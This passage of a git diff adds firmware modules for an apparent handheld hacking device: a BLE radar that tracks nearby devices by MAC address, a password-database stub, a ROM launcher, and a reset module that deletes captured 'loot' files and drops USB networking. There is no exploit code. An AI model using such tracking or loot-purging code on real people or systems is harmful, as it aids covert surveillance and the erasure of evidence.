Velocity is in grid-units per update tick. + * APPROACHING = moving toward center (negative radial velocity). + * RECEDING = moving away from center. */ +typedef enum { + TRACK_NEW = 0, + TRACK_APPROACHING, + TRACK_STATIONARY, + TRACK_RECEDING, + TRACK_LOST +} track_state_t; + +/* ------------------------------------------------------------------ */ +/* Target record (consumed by radar_ui) */ +/* ------------------------------------------------------------------ */ + +typedef struct { + uint8_t mac[6]; + track_state_t state; + int16_t x; /* grid coordinate [0 .. GRID_SIZE) */ + int16_t y; /* grid coordinate [0 .. GRID_SIZE) */ + int16_t radius; /* distance from center (grid units) */ + int16_t prev_radius; /* previous tick's radius */ + int16_t velocity; /* radial velocity (grid units/tick) */ + uint8_t intensity; /* 0-255, mapped from smoothed RSSI */ + uint8_t alarm; /* 1 = within ALARM_RADIUS */ + uint8_t age_ticks; /* ticks since first detection */ +} proxvec_target_t; + +/* ------------------------------------------------------------------ */ +/* Public API */ +/* ------------------------------------------------------------------ */ + +/* Initialise the tracking engine. */ +void proxvec_init(void); + +/* Feed a batch of devices from bledsp. Call once per scan cycle. */ +void proxvec_update(const bledsp_device_t *devices, int count); + +/* Copy active targets into caller-supplied buffer. + * Returns the number of targets written. */ +int proxvec_get_targets(proxvec_target_t *out, int max); + +/* Returns the count of targets currently in alarm state. */ +int proxvec_get_alarm_count(void); + +/* Returns total targets being tracked (including non-alarm). */ +int proxvec_get_track_count(void); + +/* Clear all targets and reset state machine. */ +void proxvec_reset(void); + +/* Adjust the alarm radius at runtime (grid units). */ +void proxvec_set_alarm_radius(int16_t r); +int16_t proxvec_get_alarm_radius(void); + +/* Shutdown: free any dynamic resources. */ +void proxvec_shutdown(void); + +#endif /* PROXVEC_H */ \ No newline at end of file diff --git a/modules/orebolt-proxalarm/radar_ui.c b/modules/orebolt-proxalarm/radar_ui.c new file mode 100755 index 0000000..ab5e5b2 --- /dev/null +++ b/modules/orebolt-proxalarm/radar_ui.c @@ -0,0 +1,370 @@ +/* + * radar_ui.c -- LVGL radar presentation layer implementation + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Renders the proximity alarm radar display. Uses an LVGL canvas + * for the radar scope (direct pixel access for the grid, range rings, + * blips, and sweep line) and LVGL labels for the status bar and + * alarm text overlay. + * + * The radar circle is inscribed in the smaller LCD dimension minus + * a bottom margin for the status bar. On the H2 (320x240) this + * gives a circle of radius ~96px centered at (160, 108). + */ + +#include "radar_ui.h" +#include "h2_ui.h" +#include "log_manager.h" + +#include +#include + +/* ------------------------------------------------------------------ */ +/* Derived layout values */ +/* ------------------------------------------------------------------ */ + +/* Compute these from the LCD constants so we adapt to any panel. */ +#define RADAR_CX (H2_LCD_WIDTH / 2) +#define RADAR_CY ((H2_LCD_HEIGHT - RADAR_UI_MARGIN_BOTTOM) / 2) +#define RADAR_MAX_R (RADAR_CY - 12) /* leave margin at top */ + +/* ------------------------------------------------------------------ */ +/* Internal state */ +/* ------------------------------------------------------------------ */ + +/* Canvas buffer: RGB565, one pixel per uint16_t */ +static uint16_t canvas_buf[H2_LCD_WIDTH * H2_LCD_HEIGHT]; +static lv_obj_t *canvas = NULL; +static lv_obj_t *lbl_status = NULL; +static lv_obj_t *lbl_alert = NULL; +static lv_obj_t *lbl_sens = NULL; +static lv_obj_t *lbl_source = NULL; + +static int sweep_angle = 0; +static int alarm_flash = 0; +static lv_timer_t *sweep_timer = NULL; +static lv_timer_t *flash_timer = NULL; + +/* Pre-computed grid-to-pixel scale factors */ +static int grid_scale_x = 1; +static int grid_scale_y = 1; + +/* Colors (RGB565) */ +#define C_BG 0x0000 +#define C_GRID 0x2104 /* dark green-gray */ +#define C_RING 0x4208 /* range ring color */ +#define C_SWEEP 0x07E0 /* bright green sweep line */ +#define C_SWEEP_DIM 0x0340 /* dim green (sweep trail) */ +#define C_BLIP_NEAR 0xF800 /* red: alarm zone */ +#define C_BLIP_MID 0xFD20 /* orange: tracking zone */ +#define C_BLIP_FAR 0x07E0 /* green: detection zone */ +#define C_CENTER 0xF800 /* red center dot */ +#define C_TEXT 0x18E0 /* dim teal for labels */ +#define C_ALARM_BG 0xF800 /* red flash background */ + +/* ------------------------------------------------------------------ */ +/* Helpers */ +/* ------------------------------------------------------------------ */ + +static inline void px_set(int x, int y, uint16_t color) +{ + if (x >= 0 && x < H2_LCD_WIDTH && y >= 0 && y < H2_LCD_HEIGHT) + canvas_buf[y * H2_LCD_WIDTH + x] = color; +} + +/* Bresenham line drawing */ +static void draw_line(int x0, int y0, int x1, int y1, uint16_t color) +{ + int dx = abs(x1 - x0), sx = x0 < x1 ? 1 : -1; + int dy = -abs(y1 - y0), sy = y0 < y1 ? 1 : -1; + int err = dx + dy, e2; + + while (1) { + px_set(x0, y0, color); + if (x0 == x1 && y0 == y1) break; + e2 = 2 * err; + if (e2 >= dy) { err += dy; x0 += sx; } + if (e2 <= dx) { err += dx; y0 += sy; } + } +} + +/* Circle using midpoint algorithm */ +static void draw_circle(int cx, int cy, int r, uint16_t color) +{ + int x = r, y = 0, d = 1 - r; + + while (x >= y) { + px_set(cx + x, cy + y, color); px_set(cx - x, cy + y, color); + px_set(cx + x, cy - y, color); px_set(cx - x, cy - y, color); + px_set(cx + y, cy + x, color); px_set(cx - y, cy + x, color); + px_set(cx + y, cy - x, color); px_set(cx - y, cy - x, color); + y++; + if (d <= 0) { + d += 2 * y + 1; + } else { + x--; + d += 2 * (y - x) + 1; + } + } +} + +/* Filled circle for blips */ +static void draw_blip(int cx, int cy, int r, uint16_t color) +{ + for (int dy = -r; dy <= r; dy++) { + for (int dx = -r; dx <= r; dx++) { + if (dx * dx + dy * dy <= r * r) + px_set(cx + dx, cy + dy, color); + } + } +} + +/* Map proxvec grid coordinates to pixel coordinates */ +static void grid_to_px(int gx, int gy, int *px_out, int *py_out) +{ + int half = PROXVEC_GRID_SIZE / 2; + int dx = gx - half; + int dy = gy - half; + *px_out = RADAR_CX + dx * RADAR_MAX_R / half; + *py_out = RADAR_CY + dy * RADAR_MAX_R / half; +} + +/* Map grid radius to pixel radius */ +static int grid_r_to_px_r(int grid_r) +{ + return grid_r * RADAR_MAX_R / (PROXVEC_GRID_SIZE / 2); +} + +/* Get blip color based on alarm state and distance */ +static uint16_t blip_color(const proxvec_target_t *t) +{ + if (t->alarm) + return C_BLIP_NEAR; + if (t->radius <= grid_r_to_px_r(PROXVEC_ALARM_RADIUS) * 2) + return C_BLIP_MID; + return C_BLIP_FAR; +} + +/* Get blip color for state machine */ +static uint16_t state_color(track_state_t state) +{ + switch (state) { + case TRACK_APPROACHING: return C_BLIP_MID; + case TRACK_NEW: return C_BLIP_FAR; + default: return C_BLIP_FAR; + } +} + +/* ------------------------------------------------------------------ */ +/* Sweep timer callback */ +/* ------------------------------------------------------------------ */ + +static void sweep_cb(lv_timer_t *timer) +{ + (void)timer; + sweep_angle = (sweep_angle + RADAR_UI_SWEEP_SPEED) % 360; + lv_obj_invalidate(canvas); +} + +/* Flash timer callback -- toggles the alarm overlay */ +static void flash_cb(lv_timer_t *timer) +{ + (void)timer; + alarm_flash = !alarm_flash; + + if (alarm_flash && lbl_alert) { + lv_obj_clear_flag(lbl_alert, LV_OBJ_FLAG_HIDDEN); + } else if (lbl_alert) { + lv_obj_add_flag(lbl_alert, LV_OBJ_FLAG_HIDDEN); + } +} + +/* ------------------------------------------------------------------ */ +/* Public API */ +/* ------------------------------------------------------------------ */ + +void radar_ui_init(void) +{ + lv_obj_t *scr = lv_scr_act(); + lv_obj_set_style_bg_color(scr, COLOR_BG, LV_PART_MAIN); + + /* Create canvas (full screen) */ + canvas = lv_canvas_create(scr); + lv_canvas_set_buffer(canvas, canvas_buf, + H2_LCD_WIDTH, H2_LCD_HEIGHT, + LV_IMG_CF_TRUE_COLOR); + lv_obj_align(canvas, LV_ALIGN_TOP_LEFT, 0, 0); + + /* Source label (top-left) */ + lbl_source = lv_label_create(scr); + lv_label_set_text(lbl_source, "BLE"); + lv_obj_set_style_text_color(lbl_source, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(lbl_source, &lv_font_montserrat_10, LV_PART_MAIN); + lv_obj_align(lbl_source, LV_ALIGN_TOP_LEFT, 4, 2); + + /* Sensitivity label (top-right) */ + lbl_sens = lv_label_create(scr); + lv_label_set_text(lbl_sens, "NEAR: -50dBm"); + lv_obj_set_style_text_color(lbl_sens, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(lbl_sens, &lv_font_montserrat_10, LV_PART_MAIN); + lv_obj_align(lbl_sens, LV_ALIGN_TOP_RIGHT, -4, 2); + + /* Status bar label (bottom) */ + lbl_status = lv_label_create(scr); + lv_label_set_text(lbl_status, "0 targets | 0 alarms"); + lv_obj_set_style_bg_color(lbl_status, lv_color_make(10, 14, 20), LV_PART_MAIN); + lv_obj_set_style_text_color(lbl_status, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(lbl_status, &lv_font_montserrat_10, LV_PART_MAIN); + lv_obj_align(lbl_status, LV_ALIGN_BOTTOM_MID, 0, 0); + lv_obj_set_width(lbl_status, H2_LCD_WIDTH); + + /* Alarm overlay (hidden by default) */ + lbl_alert = lv_label_create(scr); + lv_label_set_text(lbl_alert, "!! ALERT !!"); + lv_obj_set_style_text_color(lbl_alert, lv_color_make(255, 50, 50), LV_PART_MAIN); + lv_obj_set_style_text_font(lbl_alert, &lv_font_montserrat_14, LV_PART_MAIN); + lv_obj_align(lbl_alert, LV_ALIGN_CENTER, 0, -RADAR_MAX_R - 16); + lv_obj_add_flag(lbl_alert, LV_OBJ_FLAG_HIDDEN); + + /* Sweep animation timer (~50ms per tick = ~20fps) */ + sweep_timer = lv_timer_create(sweep_cb, 50, NULL); + + /* Flash timer (disabled until alarm triggers) */ + flash_timer = lv_timer_create(flash_cb, RADAR_UI_FLASH_PERIOD_MS / 2, NULL); + lv_timer_pause(flash_timer); + + /* Compute grid-to-pixel scale */ + grid_scale_x = RADAR_MAX_R / (PROXVEC_GRID_SIZE / 2); + grid_scale_y = RADAR_MAX_R / (PROXVEC_GRID_SIZE / 2); + + LOG_INF("radar_ui: initialised (display %dx%d, radar r=%d)", + H2_LCD_WIDTH, H2_LCD_HEIGHT, RADAR_MAX_R); +} + +void radar_ui_refresh(const proxvec_target_t *targets, int count, + int alarm_count) +{ + /* Clear canvas */ + memset(canvas_buf, 0, sizeof(canvas_buf)); + + /* Draw range rings */ + for (int ring = 1; ring <= RADAR_UI_RING_COUNT; ring++) { + int r = RADAR_MAX_R * ring / RADAR_UI_RING_COUNT; + draw_circle(RADAR_CX, RADAR_CY, r, C_RING); + } + + /* Draw crosshairs */ + draw_line(RADAR_CX - RADAR_MAX_R, RADAR_CY, + RADAR_CX + RADAR_MAX_R, RADAR_CY, C_GRID); + draw_line(RADAR_CX, RADAR_CY - RADAR_MAX_R, + RADAR_CX, RADAR_CY + RADAR_MAX_R, C_GRID); + + /* Draw sweep line */ + { + double rad = (double)sweep_angle * 3.14159265 / 180.0; + int ex = RADAR_CX + (int)((double)RADAR_MAX_R * cos(rad)); + int ey = RADAR_CY + (int)((double)RADAR_MAX_R * sin(rad)); + draw_line(RADAR_CX, RADAR_CY, ex, ey, C_SWEEP); + + /* Draw a dim trail arc (~30 degrees behind sweep) */ + for (int a = 5; a <= 30; a += 5) { + double trail_rad = (double)(sweep_angle - a) * 3.14159265 / 180.0; + int tx = RADAR_CX + (int)((double)RADAR_MAX_R * cos(trail_rad)); + int ty = RADAR_CY + (int)((double)RADAR_MAX_R * sin(trail_rad)); + draw_line(RADAR_CX, RADAR_CY, tx, ty, C_SWEEP_DIM); + } + } + + /* Draw alarm radius circle */ + int alarm_px_r = grid_r_to_px_r(proxvec_get_alarm_radius()); + draw_circle(RADAR_CX, RADAR_CY, alarm_px_r, C_BLIP_NEAR); + + /* Draw center dot (the holder) */ + draw_blip(RADAR_CX, RADAR_CY, 3, C_CENTER); + + /* Draw target blips */ + for (int i = 0; i < count; i++) { + int px, py; + grid_to_px(targets[i].x, targets[i].y, &px, &py); + + /* Blip size based on intensity */ + int blip_r = 2 + targets[i].intensity / 80; + if (blip_r > 6) blip_r = 6; + + uint16_t color = blip_color(&targets[i]); + draw_blip(px, py, blip_r, color); + + /* Draw a small velocity vector for approaching targets */ + if (targets[i].state == TRACK_APPROACHING && targets[i].velocity < -3) { + /* Draw a line from blip toward center */ + int dx = RADAR_CX - px; + int dy = RADAR_CY - py; + int len = (int)sqrt((double)(dx * dx + dy * dy)); + if (len > 0) { + int arrow_len = 12; + int ax = px + dx * arrow_len / len; + int ay = py + dy * arrow_len / len; + draw_line(px, py, ax, ay, C_BLIP_NEAR); + } + } + } + + /* Redraw alarm radius label at bottom of circle */ + /* (Position is implicit from the circle) */ + + /* Update status label */ + { + char buf[48]; + lv_snprintf(buf, sizeof(buf), + "%d target%s | %d ALARM%s", + count, count == 1 ? "" : "s", + alarm_count, alarm_count == 1 ? "" : "S"); + lv_label_set_text(lbl_status, buf); + + if (alarm_count > 0) { + lv_obj_set_style_text_color(lbl_status, + lv_color_make(255, 80, 80), LV_PART_MAIN); + } else { + lv_obj_set_style_text_color(lbl_status, COLOR_MUTED, LV_PART_MAIN); + } + } + + /* Mark canvas dirty */ + lv_obj_invalidate(canvas); +} + +void radar_ui_set_alarm_flash(int enabled) +{ + if (enabled) { + alarm_flash = 0; + lv_timer_ready(flash_timer); + lv_timer_resume(flash_timer); + } else { + lv_timer_pause(flash_timer); + if (lbl_alert) + lv_obj_add_flag(lbl_alert, LV_OBJ_FLAG_HIDDEN); + alarm_flash = 0; + } +} + +void radar_ui_set_sensitivity_label(const char *text) +{ + if (lbl_sens) lv_label_set_text(lbl_sens, text); +} + +void radar_ui_set_source_label(const char *text) +{ + if (lbl_source) lv_label_set_text(lbl_source, text); +} + +void radar_ui_destroy(void) +{ + if (sweep_timer) { lv_timer_del(sweep_timer); sweep_timer = NULL; } + if (flash_timer) { lv_timer_del(flash_timer); flash_timer = NULL; } + canvas = NULL; + lbl_status = NULL; + lbl_alert = NULL; + lbl_sens = NULL; + lbl_source = NULL; +} \ No newline at end of file diff --git a/modules/orebolt-proxalarm/radar_ui.h b/modules/orebolt-proxalarm/radar_ui.h new file mode 100755 index 0000000..5d2aac4 --- /dev/null +++ b/modules/orebolt-proxalarm/radar_ui.h @@ -0,0 +1,66 @@ +/* + * radar_ui.h -- LVGL radar presentation layer for proxalarm (unified) + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Renders the proximity alarm radar display on the H2's 320x240 LCD. + * Maps abstract grid coordinates from proxvec onto the physical + * framebuffer, draws range rings, target blips, a rotating sweep + * line, and alarm overlays. + * + * This layer is completely independent of the RF/DSP and kinematics + * layers -- it only knows about proxvec_target_t and LVGL draw calls. + * + * LVGL canvas radar display with rotating sweep, range rings, and + * target blips rendered over the H2's 320x240 framebuffer. + */ +#ifndef RADAR_UI_H +#define RADAR_UI_H + +#include "lvgl/lvgl.h" +#include "proxvec.h" + +/* ------------------------------------------------------------------ */ +/* Display layout constants */ +/* ------------------------------------------------------------------ */ + +/* All pixel values are derived from h2_ui.h H2_LCD_WIDTH/HEIGHT. + * Recompute if the panel changes. The radar circle is inscribed + * in the smaller dimension minus a margin for the status bar. */ + +#define RADAR_UI_MARGIN_BOTTOM 24 /* px reserved for status bar */ +#define RADAR_UI_RING_COUNT 4 /* concentric range rings */ + +/* Alarm flash configuration */ +#define RADAR_UI_FLASH_PERIOD_MS 400 /* full on/off cycle */ + +/* Sweep animation */ +#define RADAR_UI_SWEEP_SPEED 4 /* degrees per tick (LVGL tick ~5ms) */ + +/* ------------------------------------------------------------------ */ +/* Public API */ +/* ------------------------------------------------------------------ */ + +/* Create the radar LVGL screen objects (canvas, labels, etc.). + * Call once after LVGL init; call radar_ui_destroy() to clean up. */ +void radar_ui_init(void); + +/* Redraw the radar display with the latest target data. + * Call once per update cycle (typically every BLE scan interval). */ +void radar_ui_refresh(const proxvec_target_t *targets, int count, + int alarm_count); + +/* Enable/disable the alarm flash overlay (called by proxalarm main + * loop when proxvec_get_alarm_count() transitions 0 -> N). */ +void radar_ui_set_alarm_flash(int enabled); + +/* Set the user-visible sensitivity label text. */ +void radar_ui_set_sensitivity_label(const char *text); + +/* Set the user-visible source label ("BLE" / "WIFI" / "SIM"). */ +void radar_ui_set_source_label(const char *text); + +/* Destroy all LVGL objects created by radar_ui_init(). */ +void radar_ui_destroy(void); + +#endif /* RADAR_UI_H */ \ No newline at end of file diff --git a/modules/orebolt-pwdb/pwdb.c b/modules/orebolt-pwdb/pwdb.c new file mode 100755 index 0000000..d788008 --- /dev/null +++ b/modules/orebolt-pwdb/pwdb.c @@ -0,0 +1,36 @@ +/* + * pwdb.c -- Password database (stub) + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Password database + bcrypt/argon2 verify. + * + * Stub: full module surface (init/deinit) so the build links cleanly. + * against liblvgl.so. Design-phase implementation pending. + */ +#include "h2_ui.h" +#include "log_manager.h" + +static lv_obj_t *pwdb_screen = NULL; + +void pwdb_init(lv_obj_t *parent) +{ + pwdb_screen = lv_obj_create(parent); + lv_obj_set_size(pwdb_screen, H2_LCD_WIDTH - 4, H2_LCD_HEIGHT - 4); + lv_obj_center(pwdb_screen); + + lv_obj_t *lbl = lv_label_create(pwdb_screen); + lv_label_set_text(lbl, "pwdb\n(stub)"); + lv_obj_center(lbl); + + LOG_INF("pwdb init"); +} + +void pwdb_deinit(void) +{ + if (pwdb_screen) { + lv_obj_del(pwdb_screen); + pwdb_screen = NULL; + } + LOG_INF("pwdb deinit"); +} diff --git a/modules/orebolt-reset/reset.c b/modules/orebolt-reset/reset.c new file mode 100755 index 0000000..c11db28 --- /dev/null +++ b/modules/orebolt-reset/reset.c @@ -0,0 +1,131 @@ +/* + * reset.c -- System Stack Purge/Reset module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Factory reset and purge coordinator. State machine: CONFIRM -> RUNNING -> DONE. + * Kills dosbox, brings usb0 down, deletes /data/loot_drop contents, + * calls sync(). Requires explicit PLAY confirmation. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +enum action { ACT_NONE, ACT_CANCEL, ACT_PURGE }; +enum state { STATE_CONFIRM, STATE_RUNNING, STATE_DONE }; + +static int input_fd; +static lv_obj_t *status_lbl; +static enum state state; + +static void purge_system(void) { + LOG_INF("executing system purge"); + int fd; + + FILE *pgrep = popen("pidof dosbox 2>/dev/null", "r"); + if (pgrep) { + char pidbuf[16]; + if (fgets(pidbuf, sizeof(pidbuf), pgrep)) { + long pid = atol(pidbuf); + if (pid > 0) kill(pid, SIGTERM); + } + pclose(pgrep); + } + + fd = open("/sys/class/net/usb0/operstate", O_WRONLY); + if (fd >= 0) { write(fd, "down", 4); close(fd); } + + fd = open("/data/loot_drop", O_RDONLY | O_DIRECTORY); + if (fd >= 0) { + DIR *d = fdopendir(fd); + if (d) { + struct dirent *ent; + while ((ent = readdir(d)) != NULL) { + if (ent->d_name[0] == '.') continue; + char path[256]; + snprintf(path, sizeof(path), "/data/loot_drop/%s", ent->d_name); + unlink(path); + } + closedir(d); + } else { close(fd); } + } + + sync(); + LOG_INF("purge complete"); +} + +static enum action read_action(void) { + struct input_event ev; + if (read(input_fd, &ev, sizeof(struct input_event)) <= 0) return ACT_NONE; + if (ev.type != EV_KEY || ev.value != 1) return ACT_NONE; + if (ev.code == H2_KEY_BACK) return ACT_CANCEL; + if (ev.code == H2_KEY_PLAY) return ACT_PURGE; + return ACT_NONE; +} + +int main(void) { + init_h2_graphics_runtime("CORE HARDWARE STACK RESET"); + LOG_INF("reset module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "SYSTEM STACK RESTORATION"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 15); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + lv_obj_t *box = lv_obj_create(scr); + lv_obj_set_size(box, 290, 140); + lv_obj_align(box, LV_ALIGN_CENTER, 0, 15); + + status_lbl = lv_label_create(box); + lv_obj_align(status_lbl, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_text_align(status_lbl, LV_TEXT_ALIGN_CENTER, LV_PART_MAIN); + + input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + state = STATE_CONFIRM; + enum action act; + + while (state != STATE_DONE) { + lv_timer_handler(); + + switch (state) { + case STATE_CONFIRM: + lv_label_set_text(status_lbl, + "WARNING: Drops connections, clears loot,\nresets network maps.\n\n" + "[PLAY] PURGE [BACK] CANCEL"); + act = read_action(); + if (act == ACT_CANCEL) state = STATE_DONE; + if (act == ACT_PURGE) { + lv_label_set_text(status_lbl, "EXECUTING PURGE...\nDO NOT POWER DOWN"); + lv_obj_set_style_text_color(status_lbl, COLOR_PRIMARY, LV_PART_MAIN); + lv_timer_handler(); + purge_system(); + lv_label_set_text(status_lbl, "PURGE COMPLETE.\n\n[BACK] Exit"); + lv_obj_set_style_text_color(status_lbl, COLOR_ACCENT, LV_PART_MAIN); + state = STATE_RUNNING; + } + break; + case STATE_RUNNING: + act = read_action(); + if (act == ACT_CANCEL) state = STATE_DONE; + break; + default: + state = STATE_DONE; + break; + } + + usleep(15000); + } + + if (input_fd >= 0) close(input_fd); + LOG_INF("reset module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-retro/retro.c b/modules/orebolt-retro/retro.c new file mode 100755 index 0000000..d067229 --- /dev/null +++ b/modules/orebolt-retro/retro.c @@ -0,0 +1,601 @@ +/* + * retro.c -- OreBolt OS Module: Retro Game Launcher + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Scans /data/roms/ for ROM files, auto-detects the target system by + * file extension, displays an LVGL picker menu, and launches the + * matching emulator binary via fork()+execv(). Standalone .mod + * binary with its own main() and LVGL init. + * + * Supported systems (by file extension): + * .nes - Nintendo Entertainment System + * .fds - Famicom Disk System + * .smc,.sfc,.fig - Super Nintendo (SNES) + * .gb - Game Boy + * .gbc - Game Boy Color + * .gba - Game Boy Advance + * .smd,.md,.bin,.gen - Sega Genesis / Mega Drive + * .sms - Sega Master System + * .gg - Sega Game Gear + * .pce - PC Engine / TurboGrafx-16 + * .a26 - Atari 2600 + * .ngp,.ngc - Neo Geo Pocket / Color + * + * Emulator binaries must be installed at the paths listed in + * rom_types[] below. + * + * INPUT MAPPING: + * The companion retro_input_mapper daemon (started by S98retro-input + * at boot) creates a virtual gamepad via uinput. Emulators should + * read from this virtual gamepad rather than /dev/input/event0. + * + * D-pad: Rotary CW/CCW with axis toggle (rotary press switches + * between vertical U/D and horizontal L/R modes, auto- + * reverts to V-mode after 3s idle). + * A: PLAY short press (confirm/jump/shoot) + * B: BACK short press (cancel/run) + * START: PLAY long press (1.5s) + * SELECT: BACK long press (1.5s) + * L/R: Side buttons PREV(165) / NEXT(163) + * X/Y: Combo buttons (PLAY+rotate / BACK+rotate) + * + * N64 is NOT supported -- the X1000E MIPS32r2 @ ~1 GHz with 64 MB RAM + * cannot run N64 emulation at playable framerates. + * + * Toolchain: mipsel-linux-musl-gcc (MIPS32r2, musl libc) + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +/* ------------------------------------------------------------------ */ +/* ROM type database */ +/* ------------------------------------------------------------------ */ + +#define MAX_ROM_TYPES 32 +#define MAX_ROMS 256 +#define ROM_DIR "/data/roms" +#define PATH_BUF 512 + +typedef struct { + const char *ext; /* file extension, lowercase, with dot */ + const char *system; /* human-readable system name */ + const char *emulator; /* absolute path to emulator binary */ + const char *core; /* emulator-specific core/flag, or NULL */ +} rom_type_t; + +static const rom_type_t rom_db[MAX_ROM_TYPES] = { + /* --- Nintendo --- */ + { ".nes", "NES", "/usr/bin/fceux", NULL }, + { ".fds", "FDS", "/usr/bin/fceux", NULL }, + { ".smc", "SNES", "/usr/bin/snes9x", NULL }, + { ".sfc", "SNES", "/usr/bin/snes9x", NULL }, + { ".fig", "SNES", "/usr/bin/snes9x", NULL }, + { ".gb", "GameBoy", "/usr/bin/gambatte", NULL }, + { ".gbc", "GBC", "/usr/bin/gambatte", NULL }, + { ".gba", "GBA", "/usr/bin/gpsp", NULL }, + /* --- Sega --- */ + { ".smd", "Genesis", "/usr/bin/dgen", NULL }, + { ".md", "Genesis", "/usr/bin/dgen", NULL }, + { ".gen", "Genesis", "/usr/bin/dgen", NULL }, + { ".bin", "Genesis", "/usr/bin/dgen", "-g" }, + { ".sms", "SMS", "/usr/bin/mednafen", "-ss" }, + { ".gg", "GameGear", "/usr/bin/mednafen", "-gg" }, + /* --- NEC / Hudson --- */ + { ".pce", "PCE", "/usr/bin/mednafen", "-pce" }, + /* --- Atari --- */ + { ".a26", "Atari2600", "/usr/bin/stella", NULL }, + /* --- SNK --- */ + { ".ngp", "NeoGeoP", "/usr/bin/mednafen", "-ngp" }, + { ".ngc", "NeoGeoP", "/usr/bin/mednafen", "-ngp" }, + /* sentinel */ + { NULL, NULL, NULL, NULL } +}; + +/* ------------------------------------------------------------------ */ +/* ROM entry (populated at scan time) */ +/* ------------------------------------------------------------------ */ + +typedef struct { + char path[PATH_BUF]; /* full path to ROM file */ + char name[64]; /* display name (filename only) */ + const rom_type_t *type; /* pointer into rom_db */ +} rom_entry_t; + +static rom_entry_t roms[MAX_ROMS]; +static int rom_count = 0; + +/* ------------------------------------------------------------------ */ +/* Utility: lowercase the last N chars of a string in-place */ +/* ------------------------------------------------------------------ */ + +static void str_lower_tail(char *s, int n) { + int len = (int)strlen(s); + int start = len - n; + if (start < 0) start = 0; + for (int i = start; s[i]; i++) + s[i] = (char)tolower((unsigned char)s[i]); +} + +/* ------------------------------------------------------------------ */ +/* Utility: extract filename from full path */ +/* ------------------------------------------------------------------ */ + +static void extract_filename(const char *path, char *out, int outlen) { + const char *slash = strrchr(path, '/'); + if (slash) slash++; + else slash = path; + + /* strip the extension for display */ + const char *dot = strrchr(slash, '.'); + int namelen = dot ? (int)(dot - slash) : (int)strlen(slash); + if (namelen > outlen - 1) namelen = outlen - 1; + + memcpy(out, slash, (size_t)namelen); + out[namelen] = '\0'; +} + +/* ------------------------------------------------------------------ */ +/* Find the rom_type_t that matches a filename extension */ +/* ------------------------------------------------------------------ */ + +static const rom_type_t *match_rom_type(const char *filename) { + char lower[PATH_BUF]; + snprintf(lower, sizeof(lower), "%s", filename); + str_lower_tail(lower, 6); /* extensions are max 4 chars */ + + const char *dot = strrchr(lower, '.'); + if (!dot) return NULL; + + for (int i = 0; i < MAX_ROM_TYPES && rom_db[i].ext; i++) { + if (strcmp(dot, rom_db[i].ext) == 0) + return &rom_db[i]; + } + return NULL; +} + +/* ------------------------------------------------------------------ */ +/* Scan ROM_DIR recursively and populate roms[] */ +/* ------------------------------------------------------------------ */ + +static void scan_roms_recursive(const char *basepath) { + DIR *dir = opendir(basepath); + if (!dir) return; + + struct dirent *de; + while ((de = readdir(dir)) != NULL) { + if (de->d_name[0] == '.') continue; /* skip hidden / . / .. */ + + char fullpath[PATH_BUF]; + snprintf(fullpath, sizeof(fullpath), "%s/%s", basepath, de->d_name); + + struct stat st; + if (lstat(fullpath, &st) != 0) continue; + + if (S_ISDIR(st.st_mode)) { + /* recurse into subdirectories (system-named folders) */ + scan_roms_recursive(fullpath); + continue; + } + if (!S_ISREG(st.st_mode)) continue; + + const rom_type_t *t = match_rom_type(de->d_name); + if (!t) continue; /* unknown extension, skip */ + + if (rom_count >= MAX_ROMS) break; + + rom_entry_t *r = &roms[rom_count]; + snprintf(r->path, PATH_BUF, "%s", fullpath); + extract_filename(de->d_name, r->name, (int)sizeof(r->name)); + r->type = t; + rom_count++; + } + closedir(dir); +} + +/* ------------------------------------------------------------------ */ +/* System filter state */ +/* ------------------------------------------------------------------ */ + +static const char *system_filters[] = { + "ALL", + "NES", "FDS", "SNES", + "GameBoy", "GBC", "GBA", + "Genesis", "SMS", "GameGear", + "PCE", "Atari2600", "NeoGeoP", + NULL /* sentinel */ +}; +#define NUM_FILTERS (sizeof(system_filters) / sizeof(system_filters[0]) - 1) + +static int current_filter = 0; /* index into system_filters, 0 = ALL */ + +/* ------------------------------------------------------------------ */ +/* LVGL UI objects (module-global for event loop access) */ +/* ------------------------------------------------------------------ */ + +static lv_obj_t *title_label = NULL; +static lv_obj_t *filter_label = NULL; +static lv_obj_t *count_label = NULL; +static lv_obj_t *rom_list = NULL; +static lv_obj_t *list_btns[MAX_ROMS]; +static int visible_count = 0; +static int scroll_index = 0; + +/* ------------------------------------------------------------------ */ +/* Build the ROM list UI (called on filter change) */ +/* ------------------------------------------------------------------ */ + +static void build_rom_list(void) { + /* clear existing list buttons */ + if (rom_list) { + lv_obj_clean(rom_list); + } + + visible_count = 0; + scroll_index = 0; + + const char *filter = system_filters[current_filter]; + int is_all = (current_filter == 0); + + for (int i = 0; i < rom_count && visible_count < MAX_ROMS; i++) { + if (!is_all && strcmp(roms[i].type->system, filter) != 0) + continue; + + /* build display text: "[SYSTEM] name" */ + char display[80]; + snprintf(display, sizeof(display), "%s %s", + roms[i].type->system, roms[i].name); + + list_btns[visible_count] = lv_list_add_btn(rom_list, + LV_SYMBOL_PLAY, + display); + lv_obj_set_style_text_color(list_btns[visible_count], + COLOR_TEXT, LV_PART_MAIN); + lv_obj_set_style_text_font(list_btns[visible_count], + &lv_font_montserrat_12, LV_PART_MAIN); + visible_count++; + } + + /* update count label */ + char count_buf[48]; + snprintf(count_buf, sizeof(count_buf), + "%d / %d ROMs", visible_count, rom_count); + lv_label_set_text(count_label, count_buf); +} + +/* ------------------------------------------------------------------ */ +/* Scroll the list */ +/* ------------------------------------------------------------------ */ 